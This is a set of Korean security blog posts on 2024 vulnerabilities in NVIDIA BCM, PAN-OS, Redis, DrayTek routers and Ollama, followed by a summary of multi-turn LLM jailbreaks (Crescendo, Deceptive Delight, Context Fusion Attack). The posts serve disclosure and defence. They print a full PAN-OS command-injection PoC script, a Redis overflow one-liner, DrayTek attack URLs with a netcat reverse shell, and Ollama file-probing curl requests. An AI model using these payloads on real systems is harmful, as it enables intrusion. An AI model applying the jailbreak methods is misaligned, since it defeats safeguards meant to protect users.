1. NVIDIA Base Command Manager (NVIDIA BCM) [1]

- AI(인공지능)와 HPC(High Performance Computing, 고성능 컴퓨팅)을 위한 클러스터 관리 소프트웨어
- 멀티 클라우드 및 온프레미스 환경 지원

※ 클러스터(Cluster) : 여러 대의 컴퓨터가 서로 연결되어 하나의 시스템처럼 작동하도록 구성한 컴퓨팅 환경

 

2. CVE-2024-0138

[사진 1] CVE-2024-0138 [2]

- NVIDIA BCM 구성요소인 CMDaemon의 인증 누락 취약점 (CVSS : 9.8)
> CMDaemon : CPU나 네트워크 등 클러스터의 구성요소 간 통신을 지원하고, 작업이 원활하게 실행되도록 돕는 프로세스 [3]
익스플로잇에 성공할 경우 코드 실행, 서비스 거부, 권한 상승, 정보 유출, 데이터 변조가 가능

영향받는버전
NVIDIA Base Command Manager 10.24.09

 

- 누구나 인증 없이 시스템에 접근할 수 있는 취약점으로 신속한 업데이트 권고 [4][5]

제품명 영향받는 버전 해결 버전
NVIDIA Base Command Manager 10.24.09 10.24.09a

3. 참고

[1] https://docs.nvidia.com/base-command-manager/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0138
[3] https://docs.nvidia.com/dgx-superpod/administration-guide-dgx-superpod/latest/cluster-management-daemon.html#cluster-management-daemon
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71594&menuNo=205020
[5] https://nvidia.custhelp.com/app/answers/detail/a_id/5595
[6] https://github.com/advisories/GHSA-626w-372f-948x
[7] https://www.boannews.com/media/view.asp?idx=134648&page=1&kind=1

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

2. 주요내용 [1]

2.1 CVE-2024-0012 [2]

[사진 1] CVE-2024-0012

- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)

> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능
CVE-2024-9474와 연계하여 공격이 진행 중

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만

 

- 취약점은 uiEnvSetup.php 스크립트에서 발생

> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인
> "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션
> 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    $_SERVER['PAN_SESSION_READONLY'] = true;
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // these are horrible hacks.
    // This whole code should be removed and only make available to a few pages: main, debug, etc.
    if (
        !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
        && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
    ) {
        if (Backend::quickSessionExpiredCheck()) {
            if (isset($_SERVER['QUERY_STRING'])) {
                Util::login($_SERVER['QUERY_STRING']);
            } else {
                Util::login();
            }
            exit(1);
        }
    }
}

 

[사진 2] HTTP_X_PAN_AUTHCHECK: off 및 200 OK

2.2 CVE-2024-9474 [3]

[사진 3] CVE-2024-9474

- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만
- PAN-OS 10.1.14-h6 버전 미만

 

- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생

> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음
할당받은 인증 토큰을 이용해 악성 명령 실행 가능

[사진 3] PHPSESSID 획득

2.3 PoC [4]

- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회

- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득

#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Command injection payload to write system info to file
        data = {
            'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request(
            'POST',
            '/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
            headers=headers,
            data=data
        )
        
        if response and 'PHPSESSID' in response.cookies:
            phpsessid = response.cookies['PHPSESSID']
            logging.info(f"Initial session created: {phpsessid}")
            return phpsessid
        return None

    def trigger_execution(self, phpsessid):
        """Trigger command execution via index page"""
        headers = {
            'Cookie': f'PHPSESSID={phpsessid}',
            'X-PAN-AUTHCHECK': 'off',
            'Connection': 'keep-alive'
        }
        
        response = self.make_request(
            'GET',
            '/index.php/.js.map',
            headers=headers
        )
        
        if response:
            logging.info(f"Trigger response status: {response.status_code}")
            if response.text:
                logging.info(f"Response content length: {len(response.text)}")
            return True
        return False

    def verify_execution(self):
        """Verify command execution by checking created file"""
        response = self.make_request(
            'GET',
            '/unauth/watchTowr.php'
        )
        
        if response and response.status_code == 200:
            logging.info("Command execution verified")
            if response.text:
                logging.info(f"System info: {response.text.strip()}")
            return True
        return False

def main():
    parser = argparse.ArgumentParser(description='Vulnerability Check Script')
    parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    args = parser.parse_args()
    
    setup_logging()
    logging.info(f"Starting vulnerability check against {args.url}")
    
    checker = VulnChecker(
        args.url,
        verify_ssl=not args.no_verify,
        timeout=args.timeout
    )
    
    # Step 1: Create session with command injection payload
    phpsessid = checker.create_initial_session()
    if not phpsessid:
        logging.error("Session creation failed")
        return
    
    # Step 2: Trigger command execution
    if checker.trigger_execution(phpsessid):
        logging.info("Command execution triggered successfully")
        
        # Step 3: Verify the result
        if checker.verify_execution():
            logging.info("Verification completed successfully")
        else:
            logging.error("Verification failed - file not created or accessible")
    else:
        logging.error("Command execution trigger failed")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5][6]

제품명 취약점 영향받는 버전 해결 버전
PAN-OS CVE-2024-0012 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만 PAN-OS 10.1.14-h6 및 이후 버전

 

- 권고 사항

① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현

> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소

② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링

③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육

4. 참고

[1] https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0012
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-9474
[4] https://github.com/Sachinart/CVE-2024-0012-POC
[5] https://security.paloaltonetworks.com/CVE-2024-0012
[6] https://security.paloaltonetworks.com/CVE-2024-9474
[7] https://www.picussecurity.com/resource/blog/palo-alto-cve-2024-0012-and-cve-2024-9474-vulnerabilities-explained
[8] https://www.boannews.com/media/view.asp?idx=134400&page=9&kind=1
[9] https://www.boannews.com/media/view.asp?idx=134571&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=161318
[11] https://www.dailysecu.com/news/articleView.html?idxno=161409

1. Redis (Remote Dictionary Server) [1]

- 오픈 소스 인메모리 비관계형 데이터베이스
- 데이터를 Key - Value 형태로 메모리에 하며, 빠른 읽기/쓰기 성능을 제공
- 특징
① 빠른 속도 : 모든 데이터를 저장하므로 읽기 및 쓰기 속도가 빠름
② 데이터 영속성 : 메모리 특성(휘발성)으로 데이터가 사라질 수 있어 RDB 또는 AOF 방식으로 백업 지원
 ⒜ RDB (Redis Database) : 메모리에 있는 데이터 전체에서 스냅샷을 작성하고, 이를 디스크로 저장하는 방식
   > 디스크 I/O를 줄이며 저장 효율이 높으나, 마지막 스냅샷 이후 변경된 데이터는 복구할 수 없음
 ⒝ AOF (Append Only File) : 데이터가 변경되는 이벤트가 발생하면 이를 모두 로그에 저장하는 방식
   > 데이터 손실 가능성을 최소화하나, 로그 파일 크기가 커지고 디스크 I/O 부하 증가
③ 다양한 데이터 타입 지원 : String, List, Set, Sorted Set, Hash, Stream 등 다양한 데이터 타입 지원

2. CVE-2024-31449

[사진 1] CVE-2024-31449 [2]

Lua 엔진이 포함된 모든 버전의 Redis에 존재하는 스택 버퍼 오버플로우 취약점
> Lua 엔진은 사용자 스크립트를 실행하도록 레디스에 내장된 도구로, 데이터를 더 편리하게 처리할 수 있도록 설계
악용에 성공 시 악의적인 코드를 실행하거나 데이터 탈취 및 서버를 제어할 수 있음

 

- Lua 엔진에서 특정 스크립트를 실행할 때 스택 버퍼 오버플로우가 발생 [3]
> 취약점은 Lua 엔진 내 bit.tohex 함수와 관련 (bit 모듈은 비트 연산을 수행하는데 사용됨)

 

- bit.tohex 함수는 정수를 16진수 문자열로 변환 [4]

> 정수(x)를 입력받아 16진수로 변환하여 지정된 자리수 n 만큼(생략 가능) 출력
> 지정된 자리를 채우기 위해 왼쪽에 0이 추가되어 결과 출력
> 음수 값도 처리가능하며, 2의 보수 표현에 따라 출력

사용법: bit.tohex(x [,n])

 

- 특정 인수로 bit.tohex 함수를 호출하는 Lua 스크립트 악용

자리수를 결정하는 두 번째 인자에 음수와 같은 비정상적인 값을 사용
잘못된 인자 값이 지나치게 큰 버퍼 크기를 요구하므로, 인접한 메모리가 덮어씌워지며 스택 버퍼 오버플로우가 발생

redis-cli eval "return bit.tohex(65535, -2147483648)" 0

// 마지막 0은 해당 Lua 스크립트에서 Redis 키를 참조하지 않음을 의미
// 스크립트가 순수히 계산 작업만 수행하거나, 외부 입력값으로만 동작하며 Redis 데이터베이스의 키를 읽거나 쓰지 않는 경우 사용

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

제품명 영향받는 버전 해결 버전
Redis 모든 Redis 소프트웨어 릴리스 7.4.2-169 이상
7.2.4-109 이상
6.4.2-110 이상
7.4.6 – 모든 빌드
7.6.0 – 모든 빌드(non-GA)
7.8.0 – 모든 빌드(non-GA)
모든 Redis OSS/CE/Stack 릴리스 (OSS/CE)7.4.1
(OSS/CE)7.2.6
(OSS/CE)6.2.16
(Stack)7.4.0-v1
(Stack)7.2.0-v13
(Stack)6.2.6-v17

4. 참고

[1] https://redis.io/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31449
[3] https://redrays.io/blog/redis-cve-2024-31449-how-to-reproduce-and-mitigate-the-vulnerability/
[4] https://bitop.luajit.org/api.html
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71587&menuNo=205020
[6] https://redis.io/blog/security-advisory-cve-2024-31449-cve-2024-31227-cve-2024-31228/
[7] https://www.boannews.com/media/view.asp?idx=134444&page=7&kind=1

1. DrayTek

- 대만 네트워크 장비 제조 업체

- VPN, 방화벽, 라우터, 콘텐츠 필터링, VoIP 및 대역폭 관리 기능 등을 제공

 

2. 주요내용

2.1 CVE-2024-41592

[사진 1] CVE-2024-41592 [2]

- 취약한 버전의 DrayTek에서 발생하는 스택 기반 오버플로우 (CVSS: 10.0)

> 악용에 성공할 경우 서비스 거부 또는 CVE-2024-41585와 연계해 임의의 명령 실행 가능

※ CVE-2024-41585와 연계는 Vigor 3910와 Vigor 3912에만 영향

 

- 웹 UI의 40개가 넘는 CGI 페이지에 매우 긴 쿼리 문자열을 보냄으로써 트리거될 수 있음

> 쿼리 문자열 매개변수 구분을 위해 다수의 "&" 문자 사용

 

[사진 2] 취약한 코드

- var_query_str은 원시 쿼리 문자열이며, 처리된 쿼리 문자열은 a2에 저장

> while 루프 내에서 makeword()는 "&" 문자가 있는 경우 다음 쿼리 문자열 매개변수를 키-값 쌍으로 추출 및 저장

> 그러나, 해당 코드는 고정된 길이로 스택에 할당된 버퍼 a2에 저장할 수 있는 키-값 쌍의 개수에 대한 검사가 없음

> 따라서, 쿼리 문자열에 다수의 "&" 문자를 삽입하면 a2의 경계를 넘어 스택에 직접 쓸 수 있음

 

2.2 CVE-2024-41585

[사진 3] CVE-2024-41585 [3]

- 취약한 버전의 DrayTek에서 발생하는 임의 명령 실행 취약점 (CVSS: 9.1)

> 공격자가 애뮬레이션된 인스턴스에서 탈출하여 호스트 머신에 임의의 명령을 삽입할 수 있음

 

- 분석 장비를 포함한 일부 DrayTek 장치는 DrayOS가 에뮬레이션됨

> 호스트OS는 사용자가 직접 액세스할 수 없으나 게스트OS는 호스트OS와 통신할 수 있음

> 해당 통신에 "recvCmd" 바이너리를 사용하며 /etc/runcommand에 저장된 명령만 사용 가능

> 그러나, recvCmd가 전송한 명령이 /etc/runcommand에 저장된 목록의 문자열로 시작하는지 여부만 검사하여 

[사진 4] 게스트에서 호스트로 전송 가능한 명령 목록

2.3 공격 체인

- 공격자는 두 가지 취약점을 악용해 호스트OS에 임의의 명령을 삽입할 수 있음

다수의 "&" 문자와 포함하는 쿼리 문자열

recvCmd 바이너리를 통해 악성 명령 삽입

※ recvCmd 바이너리는 글자 수가 63글자로 제한되므로, 더 긴 명령은 순차적으로 보내거나 스크립트에 작성한 후 실행

[역방향 셸 연결 명령]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

[디코딩]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxtp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용

> 두 가지 취약점을 포함한 총 11개의 취약점에 대한 패치 제공

[사진 5] 패치 버전

4. 참고

[1] https://www.forescout.com/blog/research-alert-draytek-exposed-vulnerable-routers/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-41592
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-41585
[4] https://www.boannews.com/media/view.asp?idx=134192&page=1&kind=1

1. Ollama [1]

- 개인 또는 기업이 별도의 하드웨어나 서비스 구비 없이 로컬에서 LLM을 구동할 수 있게 해 주는 오픈소스 애플리케이션

 

2. 주요내용

- 인터넷에 노출된 Ollama 프레임워크에서 6개의 보안 취약점이 발견 [2]
> 익스플로잇에 성공할 경우 DDoS, 인공지능 모델 감염, 인공지능 모델 탈취가 가능

> 4개의 취약점에 대한 보안 업데이트 발표

2개의 취약점은 Ollama 유지보수 팀이 취약점으로 인정하지 않아 CVE 번호가 할당되지 않음

※ CVE가 할당되지 않은 2개의 취약점은 패치 또한 제공되지 않음 : 엔드포인트를 노출시키지 않는것이 기본이며, 이 기본이 지켜지지 않는다는 가정 하에 연구된 취약점이므로 취약점으로 볼 수 없다는 입장

 

2.1 CVE-2024-39720

[사진 1] CVE-2024-39720 [3]

- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점

> 두 개의 HTTP 요청을 사용해 세그먼테이션 오류(SIGSEGV)를 발생시켜 서비스 거부를 유도

영향받는 버전: Ollama <= 0.1.45

 

- 공격자는 잘못된 형식의 GGUF 파일을 전송하여 서버나 애플리케이션이 이를 처리하는 과정에 예상치 못한 동작을 유도

GGUF [4] - Georgi Gerganov Unified Format
- 오픈 소스 파일 형식으로, AI 모델 파일과 관련 데이터를 효율적으로 저장 및 교환하기 위해 개발된 파일 형식
① 범용성
> 기존의 모델 저장 방식들은 특정 프레임워크나 라이브러리에 종속
> 다른 환경 또는 플랫폼에서 사용하려면 별도의 변환 작업이 필요함
> 다양한 유형의 모델 파일과 메타데이터를 한 곳에 통합할 수 있어 변환 없이 여러 플랫폼에서 사용할 수 있음
② 경량 데이터 저장
> 데이터를 압축 및 최적화하여 모델 파일 크기를 최소화하고, 메모리 사용량을 줄임
> 로컬 환경 처럼 메모리 제한이 있는 장치에서 AI 모델을 실행할 때 성능 및 효율성을 높임
③ 확장성
> 파일 내 모델의 가중치(Weight) 텐서 값들과 메타데이터(모델의 구조, 버전, 텐서 개수 등)가 Key-Value 형식으로 저장
> 새 메타데이터나 추가 정보를 쉽게 저장할 수 있어 확장성을 높임
④ 다양한 양자화 지원
> 양자화란 모델의 가중치를 더 낮은 비트 정밀도로 변환하는 기술로, 16-bit 부동 소수점, 8-bit, 6-bit, 5-bit, 4-bit, 3-bit, 2-bit 지원
> 모델을 더 작게 만들어 추론 속도를 높이고, 메모리 사용을 줄임

 

- GGUF 파일은 0x47 0x47 0x55 0x46(GGUF)로 시작하는 헤더그 뒤 파일의 구조에 맞는 추가 데이터를 포함

> 공격자는 4Byte(헤더) 데이터만 가지는 GGUF 파일을 생성해 서버에 업로드

[사진 2] GGUF 파일 구조 [4]

- 공격자는 잘못된 GGUF 파일 업로드를 위해 두 개의 HTTP 요청을 사용

> 먼저, 잘못된 GGUF 파일 업로드를 위한 첫 번째 HTTP 요청 전송

> /api/create URL잘못된 GGUF 파일을 참조하도록 Modelfile 내 FROM 명령문을 사용한 두 번째 HTTP 요청 전송

Modelfile [5] - 모델의 설정과 명령을 정의한 파일
> 사용할 모델, 템플릿 형태, 파라미터 등을 지정해 모델을 지정할 수 있는 파일
① FROM(필수) : 사용할 기본 모델 정의
② PARAMETER : Ollama가 모델을 실행하는 방법에 대한 매개변수를 설정
③ TEMPLATE : 모델에 전송할 전체 프롬프트 템플릿
④ SYSTEM : 템플릿에 설정될 시스템 메시지를 지정
⑤ ADAPTER : 모델에 적용할 (Q)LoRA 어댑터를 정의
⑥ LICENSE : 법적 라이센스를 지정
⑦ MESSAGE : 메시지 기록을 지정

 

- CreateModel은 업로드된 파일을 기반으로 새로운 모델을 생성하거나 로드하는 기능

> 이 과정에서 GGUF 파일과 Modelfile을 로드 및 검증 없이 실행을 시도하여 얘기지 못한 메모리 참조가 발생

> 메모리 접근 위반으로 세그멘테이션 오류(Segmentation Fault)가 발생, 시스템은 SIGSEGV 신호 수신 및 프로세스 중단

 

2.2 CVE-2024-39722

[사진 3] CVE-2024-39722 [6]

- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점

> /api/push 엔드포인트존재하지 않는 경로 매개변수를 통해 호출할 때 발생

이스케이프된 URI를 공격자에게 응답으로 반환
> 이로 인해 서버에 존재하는 파일 및 디렉터리 정보가 노출되어, 공격자가 추가로 시스템을 탐색 또는 악용할 수 있음

영향받는 버전: Ollama <= 0.1.45

 

[사진 4] Exploit 예시 및 서버 응답

2.3 CVE-2024-39719

[사진 5] CVE-2024-39719 [7]

- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점

영향받는 버전: Ollama 0.3.14

 

- /api/create 엔드포인트를 존재하지 않는 경로 매개변수를 통해 호출하여 응답(오류)을 통해 존재 유무 확인

[사진 5] Exploit 예시

구분 설명
파일이 존재하지 않는 경우 요청 : ~/ curl "hxxp://localhost:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
응답 : {"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}%
파일이 존재하는 경우 요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
응답 : {"error":"command must be one of \"from\", \"license\", \"template\", \"system\", \"adapter\", \"parameter\", or \"message\""}%
파일 경로 대신 디렉터리 사용 요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc"}'
응답 : {"error":"read /etc: is a directory"}%

 

2.4 CVE-2024-39721

[사진 6] CVE-2024-39721 [8]

- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점

영향받는 버전: Ollama <= 0.1.33

 

- CreateModelHandler 함수는 os.Open을 사용하여 완료될 때까지 파일을 읽음

> req.Path 사용자 지정 매개변수를 사용하며, /dev/random으로 설정할 수 있음

> 매개변수 값이 /dev/random일 경우 난수를 생성할 엔트로피를 모을 때까지 차단이 발생

> 해당 파일을 열고 읽기 시도한 고루틴은 엔트로피가 충분히 쌓이기를 기다리면서 계속 차단

> 클라이언트가 요청을 취소해도 고루틴은 멈추지 않고 무한히 실행

[사진 7] 예제 Payload 및 PoC

2.5 모델 중독 (CWE-668)

- 기본 설정을 사용하는 Ollama 서버의 경우 /api/pull 경로에 대한 인증 절차가 없음

> 즉, 누구나 인증 없이 해당 API를 호출 가능한 상태

> 공격자는 클라이언트가 자신이 제어하는 서버에서 악의적인 모델을 다운로드하도록 유도할 수 있음

> 해당 API를 지속적으로 호출하여 디스크가 가득 찰 때까지 모델을 다운로드하게 되어 서비스 거부로 이어질 수 있음

[사진 8] 예제 Payload

2.6 모델 도용 (CWE-285)

- 기본 설정을 사용하는 Ollama 서버의 경우 /api/push 경로에 대한 인증 절차가 없음

> 공격자는 서버에 저장된 모든 모델을 제3의 서버로 업로드하거나 탈취할 수 있음

3. 참고

[1] https://ollama.com/
[2] https://www.oligo.security/blog/more-models-more-probllms
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-39720
[4] https://github.com/ggerganov/ggml/blob/master/docs/gguf.md
[5] https://github.com/ollama/ollama/blob/main/docs/modelfile.md
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-39722
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-39719
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-39721
[9] https://thehackernews.com/2024/11/critical-flaws-in-ollama-ai-framework.html
[10] https://www.boannews.com/media/view.asp?idx=134063&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=134082&page=1&kind=1

1. Crescendo [1]

[사진 1] Crescendo

대상 모델의 출력을 활용하여 모델이 안전 장치를 우회하도록 유도하여 탈옥하는 멀티-턴 공격
> 목표 달성을 위한 기초가 될 수 있는 질문으로 공격 시작
관련된 무해한 주제로 시작하여 점진적으로 질문을 강화하여 모델의 응답을 의도한 결과로 유도
> 따라서 사용자의 프롬프트에 반응하도록 설계된 방어 및 안전 조치를 우회

 

- 모델의 내부 작동 방식을 파악할 필요가 없음
> 사용자가 LLM과 상호작용하는 데 필요한 수준의 지식만 필요

 

- 탈옥의 성공 여부를 세 가지 지표(자체 평가, Perspective API, Azure Content Filter)를 통해 평가
> 자체 평가 : 자동화된 평가(1차 및 2차 Judge LLM 평가) 후 가장 높은 성과를 보인 응답에 대해 수동 검토
> Perspective API : 6가지 지표(Toxicity, Severe Toxicity, Insult, Profanity, Sexually Explicit, Threat)를 평가
> Azure Content Filter : 4 가지 지표(Hate Speech, Self-Harm, Sexually Explicit Content, Violence)를 평가

※ Perspective API : 텍스트 내 잠재적인 유해 콘텐츠를 분석하여 여러 지표를 점수로 평가하는 도구 [2]
※ Azure Content Filter : Azure AI 서비스의 일부로, 텍스트 및 이미지 콘텐츠를 분석하여 유해하거나 부적절한 내용을 탐지하고 필터링하는 기능을 제공 [3]

 

- LLM 학습 단계에서 학습 데이터의 사전 필터링과 LLM의 정렬을 강화 필요
> 전자는 악성 콘텐츠 생성 및 탈옥의 가능성이 낮아지나 비용적 문제 존재
> 후자는 해당 공격을 유발하는 콘텐츠로 LLM을 미세 조정하는 방법
> 또는, 입출력 모두에 콘탠츠 필터 적용

 

2. Deceptive Delight [4]

[사진 2] Deceptive Delight

LLM을 대화에 참여시켜 가이드라인을 우회하고 안전하지 않거나 유해한 콘텐츠를 생성하도록 유도하는 멀티-턴 공격
> 64.6%의 공격 성공률을 보이며, 세 번의 대화 턴 내 유해한 콘텐츠를 생성할 수 있음
> 첫 번째 턴 : 3개의 주제(정상 주제 2개+안전하지 않은 주제 1개)를 연결하는 일관된 서사를 만들도록 요구
> 두 번째 턴 : 각 주제에 대해 더 자세히 설명하도록 요청 (정상 주제를 논의하는 동안 안전하지 않은 콘테츠를 생성할 수 있음)
> 세 번째 턴(선택 사항) : 안전하지 않은 주제에 대한 디테일 등 확장을 요청 (안전하지 않은 콘테츠의 구체성이 증가 됨)

 

- 양성(정상) 주제 사이에 안전하지 않거나 제한된 주제를 포함하여 LLM이 안전하지 않은 콘텐츠가 포함된 응답을 생성하도록 유도
> 콘텐츠 필터는 외부 방어 계층 역할을 하여 안전하지 않은 콘텐츠가 모델에 들어오거나 나가는 것을 차단
> 자연어 처리 기술을 사용해 텍스트를 분석하며 유해하거나 부적절한 콘텐츠를 감지하는데 초점
> 그러나, 속도와 효율성을 우선시해야 하므로 상대적으로 덜 정교함
> 연구는 이러한 모델 자체의 안전 메커니즘을 우회하는 데 중점을 둠

 

LLM이 긴 대화에서 맥락을 유지하는데 어려움을 겪는 점을 악용
> 무해한 콘텐츠와 잠재적으로 위험한(또는 해로운) 콘텐츠를 섞인 프롬프트를 처리할 때 맥락을 일관되게 평가하는 데 한계를 보임
> 복잡하거나 긴 문장에서 모델은 양성적인 측멱을 우선시하여, 위험 요소를 간과하거나, 잘못 해석할 수 있음

 

- 세 가지(성공률, 유해성, 생성된 콘텐츠의 품질) 평가 지표로 6가지 카테고리에 걸쳐 40개의 안전하지 않은 주제를 8개의 모델 평가
> 6가지 카테고리: Hate(증오), Harassment(괴롭힘), Self-harm(자해), Sexual(성적인), Violence(폭력), Dangerous(위험)
※ 두 번째 턴에서 세 번째 턴 사이에 유해성 점수 21%, 생성된 콘텐츠의 품질 점수 33% 증가

 

모델의 유용성과 유연성을 유지하며 탈옥 위험을 완화하기 위한 다층 방어 전략 필요
> 정렬 훈련 기술 강화
> 더 많은 방어 매커니즘 탐색
> 탈옥 취약점을 평가 및 해결하기 위한 포괄적 프레임워크 개발
> 연구자-개발자-AI 서비스 제공 업체 간 협력 환경 조성 : 모델의 회복력을 지속적으로 개선하는 데 필수적

 

3. Context Fusion Attack (CFA) [5]

[사진 3] Context Fusion Attack (CFA)

악의적인 키워드를 무해한 키워드로 교체하여 악성 의도를 숨기는 방식으로 LLM의 안전 장치를 우회
> 공격 단계 : 키워드 추출-컨텍스트 생성-공격
> 키워드 추출 : 전처리 단계에서 악성 키워드 필터링 및 추출
> 컨텍스트 생성 : 악의적인 키워드를 무해한 키워드로 대체하여 새로운 문장 생성
> 공격 : 새롭게 생성된 콘텍스트를 이용해 LLM의 안전 장치 우회

4. 참고

[1] https://crescendo-the-multiturn-jailbreak.github.io//
[2] https://medium.com/@losad2020/%EA%B5%AC%EA%B8%80-i-o-%EC%B1%85%EC%9E%84%EA%B0%90%EC%9E%88%EB%8A%94-%EC%9D%B8%EA%B3%B5%EC%A7%80%EB%8A%A5-%EC%8B%A4%EB%AC%B4-%EC%A0%81%EC%9A%A9-%EB%B0%A9%EB%B2%95-73e170d30289
[3] https://learn.microsoft.com/ko-kr/azure/ai-services/openai/concepts/content-filter?tabs=warning%2Cuser-prompt%2Cpython-new#content-filter-types
[4] https://unit42.paloaltonetworks.com/jailbreak-llms-through-camouflage-distraction/
[5] https://arxiv.org/abs/2408.04686

1. 개요

